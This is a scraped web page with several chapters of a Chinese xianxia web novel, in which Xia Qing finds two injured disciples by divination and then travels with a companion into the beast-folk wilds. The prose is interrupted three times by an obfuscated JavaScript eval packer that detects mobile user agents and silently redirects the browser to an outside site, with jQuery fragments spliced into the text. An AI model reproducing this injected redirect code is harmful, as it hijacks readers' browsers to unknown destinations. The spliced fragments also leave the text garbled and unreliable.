d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822075|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,隐约可见溪云台,与夏清描述的卦象方位吻合。 湘忆颜神识散开,搜寻两名弟子踪迹。 可惜由于雾瘴干扰,她的神识扩散范围有限,并未找到可疑线索。 遂问夏清:“她们在哪儿?” “泽天夬的对卦是山地剥,剥为群阴夺阳之象,且爻象看起来像一条狭窄的单面通道……”夏清自顾自地分析道,“她们在一个阴暗潮湿的洞穴之中,入口在水潭北面,偏东。” 对卦是本卦的最终走向。 对卦为剥,大凶之卦,应做血光之灾。 群阴之中唯一一点生气岌岌可危,若继续拖延,真应了剥之象,就回天乏术了。 湘忆颜瞥夏清一眼,虽没听懂她嘀嘀咕咕推演那一堆内容,但依言照着她得出的结论往水潭东北方向寻去。 神识在水面上寸寸铺开,不一会儿,果然在潭水东偏北的方位找到一个隐秘的洞口。 洞口藏在水面下,水流从南向北,柳菡云和江梓秋二人从山间坠落,若落入这潭水之中,顺水而下,的确有可能被冲进洞穴之中而难被人发现。 湘忆颜隐隐有所预感,夏清的判断没有错。 她抬袖一挥,劲风吹开水面,浪涛向两侧翻开,露出下方被遮挡的洞口。 洞穴中视野昏暗,伸手不见五指。 湘忆颜掐诀施展法术,指尖弹出一束暗紫色的荧光。 那荧光触地便盛放开来,变成巴掌大一朵小花,亮荧荧的。 风一吹,花粉铺开,向前延伸,幽暗的小径很快被荧光照得透亮。 夏清鼻子动了动,潮湿的水汽中夹杂着一丝明显的血腥味。 “是这里!”夏清断言,“她们就在里面!” 湘忆颜未作迟疑,抓着夏清的衣服,一步迈出已至洞穴深处。 视野尽头,两道相拥的身影被潮水冲到岸边,大半身子还没在水中,纵然已经昏迷过去不省人事,柳菡云也没有放开江梓秋的手。 夏清急忙跑过去:“柳师姐!江师妹!” 湘忆颜施法将两人分开,先切了江梓秋的脉。 脉象虽然虚弱,却无性命之忧。 湘忆颜松了口气,换切柳菡云之脉。 片刻后,大惊。 柳菡云竟伤得比江梓秋重!她们若再来迟些,柳菡云性命不保! 定是坠崖途中,柳菡云将周身法力都用来护持江梓秋,才让自己伤成这个样子! 湘忆颜迅速给两名弟子各自服下一枚仙丹,随即招呼夏清:“我们回去。” 于是夏清抱起柳菡云,湘忆颜一只手环着江梓秋,另一只手再抓稳夏清,施展空间腾挪之术,瞬移回到天同洲。 天同洲洲府,外出寻人的长老和执事们已陆续回来,一个个都已精疲力尽,神色疲惫。 听说湘忆颜带着夏清去找人,众人纷纷摇头,不抱希望。 他们这么多人都无功而返,夏清能有何作为?湘忆颜这是病急乱投医。 洲府内外气氛低迷,某时,不知何人一声惊呼:“洲主回来了!” 众人闻言,纷纷起身。 便见湘忆颜抱着遍体鳞伤的柳菡云匆匆往回走,身后跟着夏清,和她怀里昏迷不醒的江梓秋。 从人群中经过时,湘忆颜步履稍顿。 “今日,多亏了夏清。” 12. 第十二章 众长老执事,以及听闻此事,来洲府打探消息关心搜救进程的各洲弟子全部愣住。 找到柳菡云和江梓秋,竟然是夏清的功劳。 是那个有血脉缺陷,天生不能修炼的夏清吗? 夏清又一次成为众人视线的焦点。 上一次类似的经历还是她年比战胜韩子啸,走下擂台的时候。 所有人不约而同注视着她,他们的表情既震惊又不解,不敢相信他们笃定她做不到的事被她做到了。 他们看待夏清的眼神有了明显的变化。 但这对夏清而言,无关紧要。 她更担心江梓秋和柳菡云的伤能不能治好。 夏清抱着江梓秋跟在湘忆颜身后快速走进洲府,将那些或惊愕或迷惑或质疑的目光全都抛在脑后。 湘忆颜为柳菡云疗伤,过程持续了三天三夜,第四天清晨,柳菡云总算睁眼醒来。 她嘴唇干得开裂,开口第一句话却是轻唤江师妹。 “江梓秋已经没事了。”夏清回答柳菡云,“你早点好起来,她等你去看她。” 不知道是不是夏清的激励有效,柳菡云醒来当天就翻身下地,让夏清扶她去看望江梓秋。 正巧湘忆颜也在,刚结束日常诊脉,见柳菡云跑来,湘忆颜颇为惊讶:“你醒了不好好卧床休养,起来做什么?” “来看看江师妹。”柳菡云坦诚说道,随即看眼榻上昏迷未醒的江梓秋,“师妹没醒?” 湘忆颜叹了口气:“梓秋求生意识不强,她是自己不想醒来。” 柳菡云闻言,神情低落:“连洲主也没有办法吗?” “办法并不是没有,但需一味产自蛮荒的特殊药草……”湘忆颜话说到一半,见柳菡云眼睛亮起来,当即冷哼一声,“别以为我不知道你在想什么,我告诉你,休想!把伤养好再说!” 柳菡云两条眉毛往下一撇:“洲主!你就告诉我是什么药草!我保证不会擅自行动!” “你的保证可不值钱。”湘忆颜瞥她一眼,“这事儿没得商量,你若是不肯听劝,就别认我这个洲主!” 此话说得相当严重,柳菡云再不知悔改,湘忆颜就要将她逐出天同洲。 柳菡云被湘忆颜从屋内赶出来,回程途中,柳菡云心情沮丧。 夏清试图安慰她:“湘洲主说得也没错,你应该先养好伤,你现在这个样子,就算想为江师妹做点什么,都心有余而力不足。” 柳菡云双眼盯着脚下的路:“我自己的伤我知道,看起来严重,没有伤筋动骨,不出三日就能好。” 夏清点头:“那你就三天后再去求洲主。” “……”柳菡云,“夏师妹,其实我觉得……” “不要你觉得,你觉得都是错的。”夏清打断她,不让她说完。 柳菡云大受打击。 夏清无奈,好心肠地劝慰道:“湘洲主说过了,江师妹已无性命之忧,只是暂时还没醒,师妹骨伤未复,醒来面对你也只能强颜欢笑,还不如这样昏迷着,你若真想解决问题,就先把伤养好。” 柳菡云不再开口,夏清送她到洞府门口。 临分别时,夏清想起什么,叫住她。 柳菡云回头,见夏清递来一把玉扇:“你的扇子,上边儿的小铃铛不知掉哪儿了,我没找着。” 夏清手中,正是柳菡云前几日落在溪云台崖边的扇子。 扇子递过去好一会儿,不见柳菡云接过去,夏清疑惑:“师姐?” 柳菡云抬起头来,竟是一副双目莹泪,可怜兮兮的表情:“夏师妹,你这么善良,一定不忍心我一个人面对洲主的责难吧?” 夏清心想:那可不一定。 口头上却敷衍道:“……嗯吧。” 柳菡云忽然精神振奋:“那太好了!我有办法了!” 夏清:“?” 她没反应过来呢,就被柳菡云一把抓住手腕,连拖带拽地往回走。 这五指如钳的力气,这走路带风的步伐,哪儿像个伤患? 夏清纳闷,修为差距也会反应在身体素质上吗? 谁家好人从几百米高的崖上滚下来第三天醒来就活蹦乱跳的? 跟柳菡云比起来,好像她更弱不经风一点。 柳菡云拉着夏清回到江梓秋洞府外,与湘忆颜迎面相遇。 “洲主!”柳菡云大步走向湘忆颜。 湘忆颜驻足,未等柳菡云开口,便蹙眉道:“同样的话我不想说第二遍。” “不是的,洲主,你听我说完。”柳菡云语调轻快,拉着夏清上前,“我绝不一个人擅自行动,夏师妹会和我一起!” 夏清:“!!!” 关我什么事?! “夏清?”湘忆颜瞥眼夏清,沉默不语。 夏清原想摆手说自己不参与行动,不料柳菡云狠狠揪了一把她的胳膊肘。 “嗷——” 见夏清“出声表态”,湘忆颜颔首道:“若是这样,倒可以一试。” 夏清:“?!” 我请问呢? 没等她辩解,柳菡云已扑通一声跪下,以头抢地:“多谢洲主!” 夏清:“……” 罢了。 救人一命胜造七级浮屠。 换个角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822076|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度想,寻药需前往蛮荒,是不是也代表,她有机会离开紫霄峰? 夏清暗自思忖,这倒也是个出其不意的办法。 就算暂时不能顺利脱身,也能看看仙界之外的天地是什么样的。 “既然如此。”湘忆颜看向夏清,“夏清,云儿就拜托你了。” 柳菡云从湘忆颜口中获知那味特殊的药草叫“金灵草”,应生长在蛮荒神川一带。 得到了关键信息,柳菡云当天就收拾好行囊,准备出发。 峰内弟子是没有权限擅自离开紫霄峰的,因而还需湘忆颜送她们一程。 前往洲府途中,夏清有一事不解,遂询问柳菡云:“为什么湘洲主不让你去蛮荒寻药,你叫上我,她便同意了?” 柳菡云的修为高上她许多,哪怕受了伤,实力也在她之上。 “这个很简单。”柳菡云拍拍夏清的肩膀,“我和江师妹都是托了夏师妹的福才捡回条命来,洲主对你放心!” 真的是这样吗?夏清保留意见。 柳菡云继续自顾自地说道:“而且蛮荒土地比仙界贫瘠,仙界之人即便去了蛮荒也没有足够的灵气调配使用,纵有再高修为,也没有施展的余地。” “像我这样的修为,去了蛮荒反而容易不适应,你就不存在这个问题,你的法力本来就低,蛮荒修行者的上限就是大乘境,你去了可以横着走。” 夏清:“……” 原来这才是真相。 明明听起来很厉害的样子,她怎么一点也没有被激励的感觉? 夏清和柳菡云抵达洲府,湘忆颜再三确认:“你们真的准备好了?” “好了好了!”柳菡云连连点头。 夏清摊开手,耸了耸肩膀。 见她们心意已决,湘忆颜也不再多劝,抬手一个响指,眨眼间,她们便离开天同洲,出现在一道巨门前。 那玉石雕筑的门上书着“九瑶川”几个大字,门后云层翻滚,形成一道漩涡。 “从这里出去,你们会降落在一处无人的荒野,找到金灵草就捏碎我给你们的玉符。” 湘忆颜事无巨细地叮嘱道:“你们记住,仙界一日,蛮荒一年,我会在这里等你们三天,三日之期一到,不管你们找没找到草药,我都会把你们叫回来。” 柳菡云叠声答应:“知道了知道了,我们不会忘记的,洲主请回吧!” 说着,与夏清一同往九瑶川大门走去。 半只脚踏进漩涡中时,夏清身后飘来湘忆颜的声音:“哦,对了,近来峰主也在蛮荒,如果你们遇见她,记得替我带声好。” 夏清:“???” 13. 第十三章 白镜玄在蛮荒? 那她不是逃了个寂寞。 可白镜玄怎么会在蛮荒呢? 这个问题尚未想明白,柳菡云已拉着夏清踏进旋涡。 霎时重力消失,身体轻飘飘的,物理层面和精神层面的晕眩感同时袭裹了夏清。 强烈的晕眩感导致她眼睛睁不开,天旋地转好像要摔倒了似的。 好在这个过程并未持续太久,大概几秒钟后,耳边响起柳菡云的声音:“夏师妹,你快看,我们到了!” 夏清一只手扶着头,闻声尝试睁眼。 映入眼帘的是一片光秃秃的石林,石缝间生长着一些旱地植物,与紫霄峰遍地灵花异草的繁茂景象相比,此地确可称之为荒芜贫瘠。 天地之间,灵气十分稀薄,几乎难以抽调为己用。 “不知道这是神川哪个部洲。”柳菡云自言自语,腾身跃上一块三米来高的大石头,朝远处极目眺望,“前面有炊烟!可能是个村庄!” 夏清还沉浸在湘忆颜最后一句话带给她的冲击中,好一会儿才缓过来。 闻言,附和道:“可以先去看看,问问路。” 也不一定就遇得到吧? 这样想着,夏清心情起起伏伏,蛮复杂的。 说不清为什么高兴,又为什么惋惜。 柳菡云又从石头上跳下来:“我也是这么想的,事不宜迟,趁着天色还早,咱们出发吧!” 夏清注意力回到柳菡云身上:“你看起来一点也不像受了伤。” 柳菡云闻言咧嘴笑开:“我体质比较特殊,伤好得快。” 说完,她将自己衣袖捞起来一截,给夏清看。 她小臂上细小的擦伤已经消失大半,剩下深一些的伤口也都结痂,开始陆续脱落。 夏清暗暗吃惊,怪不得柳菡云说她的伤三天就能好。 这估计也是某种特殊的血脉力量吧。 仙界的修行者要么是从下界飞升上来,前尘尽断的大能,要么就是土生土长的神族后裔,多多少少都有一些特殊的血脉buff在身上,像夏清原身这样干啥啥不行的变异体还是比较少见。 好在夏清上辈子就是个普普通通的人类,这辈子虽然投身到仙界,却也很能适应当下“废物”的身份。 她们沿山道快速前进,习惯了紫霄峰险峻多变的地势,此刻连夏清都如履平地,不过小半个时辰,方才远远望见的小山村便出现在二人视野中。 村庄外有大片农田,夏清和柳菡云途经此地,看见田地中有个小姑娘正在劳作。 “你好!”夏清站在田埂边朝女孩儿招手,“打扰一下!” 女孩儿正从地里拔起一颗萝卜,闻言回头,抖了抖萝卜根上的泥,扔进背篓,这才来到夏清二人跟前。 夏清一眼注意到对方的眼睛,女孩儿眼瞳是红色的,瞳色很浅,看起来像戴了美瞳。 一些违和感让夏清到了嘴巴的话磕绊了一下。 这时,女孩儿伸手摘掉头上草编的斗笠,朝夏清和柳菡云行了个脱帽礼。 斗笠取掉后,女孩脑袋上倏地蹦出两只细细长长的兔耳朵。 定睛细瞧,这双耳朵覆盖着细软的毛发,随着环境中风吹草动,还会灵活地变换方向。 夏清大为震惊。 感情这竟然是一双真耳朵! 柳菡云倒像司空见惯,熟络地开口:“姑娘,这里是弭荼洲?” 兔耳女孩儿似不会说话,闻言没应声,只点了点头。 柳菡云问她:“你认不认识金灵草?” 女孩儿眨眨眼,摇头。 柳菡云颇为惋惜,但并不气馁,最后又问:“那,你们村子里有没有人认识金灵草?” 女孩儿偏着脑袋想了想,抬手替柳菡云指了一个方向,又比划比划,做出一个捋胡子的动作。 夏清试探着开口:“村里有位长胡子的老先生可能知道金灵草?” 女孩儿唇角弯起露出微笑,朝夏清点头。 “我们去找那位长胡子老先生。”柳菡云招呼夏清,同时从兜里摸出一枚小玉瓶,塞到兔耳女孩儿手中,“多谢!这个送你!” 两人走远一些,夏清才问:“你刚才拿给她的东西是什么?” “一枚仙丹。”柳菡云摇头晃脑,“虽然品阶不高,但对蛮荒的凡人来说也是好东西,包治百病!” 夏清回头望一眼,神态迟疑。 柳菡云注意到夏清的情绪,问她:“你怎么了?” “额……这么说可能不太礼貌,但是……”夏清抿了抿唇,疑惑发问,“你不觉得奇怪吗?她有一双兔子耳朵。” “这有什么奇怪的?”柳菡云笑着摆摆手,“弭荼洲是兽人的地界,刚才那位应该是兔族的女孩儿。” 夏清脑子懵懵的:“……兽人?” 好家伙,不愧是小说,世界观内容真是丰富。 来蛮荒之前她以为蛮荒的设定可能类似远古时期的地球,没想到居然还有兽人。 不过,那位兔族兽人小姐姐身上穿的衣服倒确实是华夏古代的服装制式。 “要说兽人的话,你之前还见过一个。”柳菡云话说到一半不继续,朝夏清眨眨眼。 夏清:“……” 严格来说,好像确实。 夏清疑惑道:“可那怪物不是魔人么?怎么又成兽人了?” 柳菡云替夏清解惑:“那是魔族和兽人的混血后代,真正的魔族身上会有特殊的气息难以掩盖,很难混进仙界。” 夏清恍然,感觉自己脑子里的水又多了一点。 村庄说大不大,说小也不小。 十来户小瓦房稀疏地散落在田野间,要找一个白胡子老爷爷还是要花点时间。 夏清掐指一算:“风地观,田野东南方向,周围有比较高的树,或者弯弯曲曲的小路。” 有了大致的方向,再找就简单许多。 东边的确有几棵树,树下建了几座小房子。 夏清和柳菡云走裹去中途,有未化形的小动物从她们面前经过。 巴掌大的小兔子圆滚滚一团,蹦两下歇一下,短腿小奶狗呼哧呼哧互相追逐,一时没刹住脚撞到夏清腿上被弹回去,滴溜溜翻几个跟头,奶萌奶萌的。 一只毛团团摔倒,两只毛团团凑热闹。 消息很快传开,不一会儿,夏清和柳菡云被大大小小的毛团子包围,因为她们不够毛茸茸而被围观。 夏清遭受可爱暴击,差点昏过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822077|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “人类。”路旁传来一声轻唤。 夏清二人同时驻足,便见一位身形佝偻的老先生朝她们招手。 老先生留着一小撮山羊胡,头上还顶着一对羊角,只不过其中一边不知因何缘故折断了。 夏清和柳菡云同时想到刚才兔族女孩儿描绘的长胡子老先生。 老先生年岁已高,手里杵着拐杖,但那双清明的眼睛看起来颇有智慧:“你们远道而来,是有什么事吗?” “老伯,我们在找金灵草。”柳菡云从兜里掏出小本本,上面画着金灵草的图样,“请问您见过吗?” 老先生眯起眼,盯着图样仔细端详。 良久,开口:“没见过。” 夏清:“……” 柳菡云抓了抓脑袋。 顿了须臾,老先生又说:“虽然我没见过,但有一个人,她肯定见过。” 柳菡云眼睛一亮,追问:“谁?” 老先生回答:“兽人圣女!” “我们兽人族的圣女,上知天文下知地理,博学多才,贯通古今,世界上没有她不知道的事!” 在二十一世纪见识过各种天花乱坠的推销手段,夏清合理怀疑这句话多多少少有点夸大其词的成分。 不过,既然老先生如此推崇,这位圣女可能当真有点东西。 夏清遂问:“我们要去哪儿才能见到圣女?” “去圣宫。”老先生伸手指向北面一座遥远的大山,“翻过那座山继续往前走,再翻过第二座,第三座……到第七座山山顶上,就能看见兽人族的圣城,圣宫在圣城里面。” 夏清:“。” 她试探着确认道:“您去过圣城吗?” 老先生中气十足地回答:“没有!” 夏清深深地怀疑,老头子的话并不那么可信。 但柳菡云信了,高高兴兴地向这位羊族的老先生道了谢,又附赠了一枚仙丹。 眼看柳菡云得到线索后径直要往北走,夏清迟疑开口:“我们真要去翻七座山啊?” 柳菡云不假思索:“当然!” 夏清思忖着,要不卜一卦看看照老先生指的路走,她们能不能找到圣城。 便在这时,一名少女站在道路中间,抬起一条胳臂拦住她们的去路。 夏清和柳菡云同时停下脚步。 那少女脑袋上顶着一双三花色的猫耳,身后还有一条毛茸茸的白色尾巴,节奏舒缓地左摇一下,又摆一下。 夏清注意力被猫尾巴吸引,跟着晃来晃去。 “你们要去圣城?” 女孩儿嗓音清脆,是具象化的银铃声。 柳菡云回答:“不错。” 女孩闻言,似乎松了口气,随即道:“我知道圣城怎么走,但我缺两个护卫,你们如果愿意保护我,我就带你们去圣城。” 柳菡云惊讶,未立即答应。夏清看出柳菡云对女子身份似乎有所怀疑。 于是她单手背在身后,心念一动迅速成卦。 泽雷随。 元亨利贞,无咎,从善而随之。 未等柳菡云做出决断,夏清率先开口。 “合作愉快!” 卦象不会骗人。 猫咪尾巴……应该也不会。 14. 第十四章 “合作愉快!” 夏清一口答应。 柳菡云颇为诧异,扭头看过去,便见夏清朝自己使了个眼色。 看来夏清颇有成算,柳菡云略一思量,没有反对。 以夏清的性格,不会无的放矢。 猫族少女身后尾巴飞快甩了两下,眼底流露喜色:“那我们现在就出发吧!” 夏清二人也没什么需要准备,当即便与这位猫族少女同行启程。 途中,女孩儿向她们做了自我介绍。 她是灵猫族的兽人,名叫雅梅,前往圣城是为了参加兽人大典。 “兽人大典?”柳菡云好奇。 雅梅淡蓝色的瞳孔亮晶晶的,语气颇为自豪:“这是我们兽人族特有的盛会,十年才有一次,特别热闹!参与大典还有机会见到圣女!” 再次听到圣女这两个字,夏清侧目:“你们的圣女上知天文下知地理,博古通今?” 雅梅不假思索:“那当然!” 夏清沉吟,兽人族也有他们自己的大明星。 雅梅性格活泼,和柳菡云不相上下,三人一块儿行路,似有说不完的话,不知不觉天就黑了。 “我们得找个避风的地方过夜。”雅梅看眼天色,“乌云遮月,晚上可能会下雨,特别冷。” 柳菡云神识散开搜索一圈,很快在荒山野岭中寻见一间废弃的棚屋。 寻至棚屋,柳菡云复抬袖一扫,屋内破损的杂物和密密麻麻的蜘蛛网便被清扫一空,腾出块儿干净的空地供她们生火歇息。 雅梅见状眼神忽闪忽闪:“你好厉害!你是人族的修行者?” 柳菡云被夸得不好意思了,抓抓后脑勺:“哈哈……算是吧。” 夏清暗暗咋舌,果然没有哪个人是小猫咪拿不下来的。 雅梅轻呼一口气,喃喃道:“……太好了。” 柳菡云:“什么?” “哈哈哈哈没什么。”雅梅眉目舒展,爽朗笑开,“我是说,你这么厉害,我们肯定能安全抵达圣城!” 一旁默不作声的夏清瞥她一眼,不动声色。 当晚屋外果然下起大雨,寒风呼啸,豆大的雨点敲得棚屋顶上噼啪作响。 破茅棚屋顶不太防漏,有雨水渗进来,地面上湿洼洼的。 雅梅抱着双腿蹲坐在火堆旁,不时朝漏风的破木门瞧一眼,一双尖尖耳朵竖起来,仔细辨听屋外的动静。 夏清和柳菡云轮流守夜,夜半三更时,柳菡云从淅淅沥沥的雨声中捕捉到一丝不同寻常的异响。 不一会儿,夏清也听见了。 “有什么东西在靠近。”柳菡云起身,挪步到窗边,观察屋外。 雅梅耳尖一颤,倏地绷紧身体,伸手按住腰侧一把小刀,神情警惕:“是什么?” 柳菡云皱眉,仔细辨听。 这声音诡异得很,不似寻常凶物,但也不像两足行走的兽人。 正迟疑着,忽然一道巨大黑影闪过窗户,柳菡云瞳孔一缩,断喝:“快闪开!” 她迅速抽身飞退,同时左手拽住夏清,右手按住雅梅。 轰—— 木门破碎,四散飞溅的碎屑被一道风浪击退,柳菡云则带着夏清和雅梅从另一侧窗户翻出棚屋。 冷冰冰的雨点子砸在她们身上,雅梅尾巴上的毛毛倏地炸开,情绪激动地上下摔动。 夏清的视线则穿过雨点,看向不远处的棚屋。 那黑影冲破木门,又扑向窗户。 碰的一声闷响,大地震动,棚屋剧烈晃了几晃,险些散架。 黑影卡在窗框内,一个劲嗷嗷嘶吼,雅梅脸色煞白:“鼍,鼍兽!” 袭击她们的是一只巨大的鳄鱼,夏清打眼一看,这头鳄鱼体长起码五米,力气大得出奇,嘴巴张开像个深不见底的血窟窿,能把她们生吞下去。 这棚屋周围也没有沼泽,怎么会有鳄鱼? 柳菡云未究其因,反手甩出几片风刀。 风刀击中鳄鱼,竟发出丁零当啷的脆响,鳄鱼背后的皮肤坚硬如甲,被风刀击中时还泛起蓝蒙蒙的光。 柳菡云沉声:“这是湛甲鼍。” 此乃蛮荒地界数一数二的凶兽,只要闻到猎物的味道,就一定要将其吞食入腹,否则不会罢休。 雅梅吓得浑身发抖:“快,快跑!” 一只成年湛甲鼍战力堪比炼虚境修为的修士,普通的攻击根本无法破开它的防御,若与它缠斗,只会落得体力耗尽,然后被大卸八块的下场。 那只湛甲鼍嗷嗷狂叫,身体大力扭动,破棚屋的窗户被挤压变形,发出不堪重负的吱呀声。 柳菡云反手抽出腰间玉扇:“夏师妹,你保护雅梅!” 她话音声落,那茅棚便轰地一声倒塌,湛甲鼍狂吼一声飞扑过来。 夏清应着,口中念咒,手上掐诀,将雅梅护在身后。 先前两个月的苦修,她不仅精进了修为,同时也学会了一样简单的法术——五行术。 虽然五行术是基础中的基础,也是大多数仙修学会的第一个法术,但对于夏清而言,现阶段已足够用了。 木火土金水。 法术可以调动她体内和天地间的灵气,让五种五行能量互相转化。 因而学会了基础的五行法术,相当于将加强版的五行能量随身携带,因此便可以奇门遁甲之术布阵。 五行能量凝聚为结晶,悬浮半空之中,环绕于夏清身侧两米范围。 夏清叮嘱雅梅:“不要离我太远。” 雅梅宛如惊弓之鸟,战战兢兢地点头。 另一边,柳菡云已和那湛甲鼍交起手来。 湛甲鼍皮糙肉厚,而柳菡云因伤之故实力大打折扣,并不能干净利落地结束战斗。 夏清一边注意着柳菡云的状态,一边仔细观察四周的动静。 渐渐的,夏清意识到不对劲。 大雨和打斗声也没能完全掩盖异样的声音。 她转身面向身后。 黑暗中,几道黑影正快速移动,其身位不断变化交错。 一只湛甲鼍,两只湛甲鼍,三只…… 她们被一群鳄鱼包围了。 所有去路都被封死,夏清头皮发麻。 雅梅更是吓得瞳孔竖起,手和脚都出现明显兽化,露出尖锐的指甲。 “夏师妹!”身后传来柳菡云的声音,她也发现了越来越多湛甲鼍出现,遂放声大喊,“你带雅梅先走!” 夏清心念电转,没有立即动身。 她们启程之前卜出的泽雷随并不是险卦,代表今日遭遇不会构成危机。 那么就一定有解决的办法。 “它们是冲着雅梅来的!”夏清沉声回应,“若不能从根源上解决问题,我们走到哪里,它们就会跟到哪里!” 她和柳菡云刚到弭荼洲,与这里的人远日无怨,近日无仇,没理由招惹这样的凶险。 反倒是雅梅,她的身份并不明确,邀请她们同行 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她毫不犹豫,将手中玉扇高高抛起。 同时双手掐诀,口中念咒。 须臾,数道风壁拔地而起,直冲天际,将夜色中几乎不可见的滚滚云层削成一片又一片,并从中间破开,捅出一个巨大的窟窿。 云层散去,雨渐渐停了,包围她们的湛甲鼍倏然散作几团泥水,消失得无影无踪。 每次柳菡云施展大型法术,夏清都叹为观止。 不愧是主角儿。 “居然是幻术……”雅梅不可置信。 柳菡云啧啧称奇:“夏师妹,你对幻术竟有如此研究!” “啊不。”夏清摆摆手,“我只是简单卜了一卦。” 柳菡云旋转玉扇,将其重新挂回腰间:“师妹就是谦虚!” “比起探究我如何解开幻术,我们不如换个话题。”说着,夏清看向耷拉着耳朵,一脸沮丧的雅梅,“雅梅小姐,这下你该对我们说实话了吧?” 雅梅回过神,张了张嘴:“我……” 夏清提醒她:“首先,你肯定向我们隐瞒了真实身份,其次,你没有提前告知我们你正被仇敌追索,如果你不愿意坦白,那我们有足够的理由解除合作。” “不!我需要你们帮我!”雅梅神色惊慌。 脱离了夏清和柳菡云的庇护,她必死无疑。 柳菡云双手抱着胳膊,以一副看戏的姿态挑了挑眉:“那就说说吧。” 雅梅沉痛而疲惫地闭上眼睛。 她手脚的兽化褪去,恢复了原本的样子,却少了原先那股强行提起的精气神。 片刻后,她终于开口。 “兽人大典是我们兽人族的盛会,每个种族都会派遣使者参与大典,我是代表灵猫族前往圣城参加兽人大典的使者。” 雅梅理清思绪,娓娓道来:“原本我还有一整支护卫队,但从上个月开始,我们的队伍就陆续遭受袭击,我和我的兽卫们走散了。” “后来我打听到一些风声,各部族前往圣城的队伍都遭到了不明袭击,大部分都已下落不明。” 雅梅深吸一口气,再缓缓吐出来。 “有人在蓄意破坏大典!我必须尽快把消息传回圣城!” 15.第十五章 雅梅说完,双手紧张无措地抓着衣角,尾巴也因为沮丧耷拉下去。 她自己心里也明白,这趟旅程凶险莫测,让夏清和柳菡云继续护送她实在强人所难,但她别无选择。 夏清朝柳菡云递了个眼色,示意她拿主意。 柳菡云歪头想了想,问雅梅:“说完了?” 雅梅点头。 柳菡云拍拍手,看眼即将泛白的天色,抬了抬下巴:“那……走吧?” 雅梅:“?” 夏清从雅梅身旁经过,缓声道:“反正我们也要去圣城,既然你知道路,一起走可以节省我们的时间。” “……”好一会儿,雅梅才反应过来,不可置信地开口,“你们……不生气了?” 柳菡云走在最前面,挥挥手,声音随风飘远:“有那生气的功夫,我们都到圣城了。” 半个月后,夏清三人抵达圣城。 中途虽有风波,但柳菡云与夏清配合,蛮荒地界能拦下她们的阻碍委实不多,大体上还算顺利。 雅梅有灵猫族信物在身,但夏清和柳菡云没有。 过城门时,圣城兽卫将她们拦下,雅梅解释:“她们是我聘请的护卫。” 圣城兽卫态度强硬:“护卫也该有护卫的身份证明,如果没有就不能进去。” 夏清和柳菡云对视一眼,没想到圣城的规矩那么多。 不过,这同时也说明圣城的治安森严,城内居民的生活应该比较和平稳定。 见雅梅无计可施,柳菡云用手肘碰碰夏清的胳膊:“怎么办?” 夏清暗自思忖。 她们必须入城才能见到圣女,还必须光明正大地走正门进去,否则会生出许多事端。 没有证件就仿造一份好了。 夏清正准备将此计告诉柳菡云,忽然一个个子矮小长得像松鼠的传令兵快步跑来,对兽卫小声说了几句什么。 兽卫神态急变,忽然改口:“你们进去吧。” 雅梅先是愣了愣,随后大喜:“太好了!” 夏清和柳菡云对脸懵逼:“怎么突然又放行了?” 正疑惑呢,那松鼠兽人蹦蹦跳跳来到雅梅面前,对她说道:“圣女大人已知你来,你和你的朋友先去觐见女皇,圣女大人稍后便到。” 雅梅感动得热泪盈眶。 又是圣女。夏清啧啧称奇。 这位圣女大人果真有这般神通,不仅知道她们到了,而且称她们不是护卫,是朋友。 柳菡云也颇为惊讶,随即便喜上眉梢:“希望此行能找到金灵草。” 早一天完成任务,江梓秋就能早一天醒过来。 夏清二人跟随雅梅前往兽人王宫。 王宫的建筑十分恢弘,她们还未走近,远远便瞧见王宫的屋顶。 那是一片方形圆顶的白色建筑,打磨平整的石面在日光下闪烁着鱼鳞般细碎的金光,种植着长得非常高大但枝叶稀疏的热带植物,充满了沙漠绿洲的异域风情。 王宫内的戒备更加森严,每一条通道两端都有兽卫恪尽职守。 抵达主殿后,先有人进殿通报,得到殿内传来是命令兽卫才让开,允许夏清三人通行。 兽人女皇正在大殿上与众兽臣议事,夏清等人来到殿中,立即所有人的视线都落到她们身上。 雅梅叩见女皇,夏清和柳菡云端端站着,打量大殿中景象,却并不下跪。 女皇身边的兽臣见状大喊:“殿上何人,为何不跪!” 柳菡云坦然开口:“陛下是兽皇而非人皇,我们应该不需要跪。” “你们人族有句话叫入乡随俗。”座上女皇头戴王冠,身披朱玉点缀的华贵衣衫,“虽然你们不是兽人,但进入了兽人的地界,就该遵守兽人的规矩。” “陛下!”雅梅情急出声,“她们二位是人族的修士!如果没有她们一路相送,雅梅肯定无法来见陛下!” 兽臣蹙眉呵斥道:“大呼小叫成何体统!” 女皇摆了摆手,令兽臣噤声。 兽臣默,依令退开,女皇这才又道:“修士身份特殊,不以国别礼法约束,你们可以不跪。” 说完,她看向雅梅:“灵猫族使者,怎么只有你一人前来圣城?” 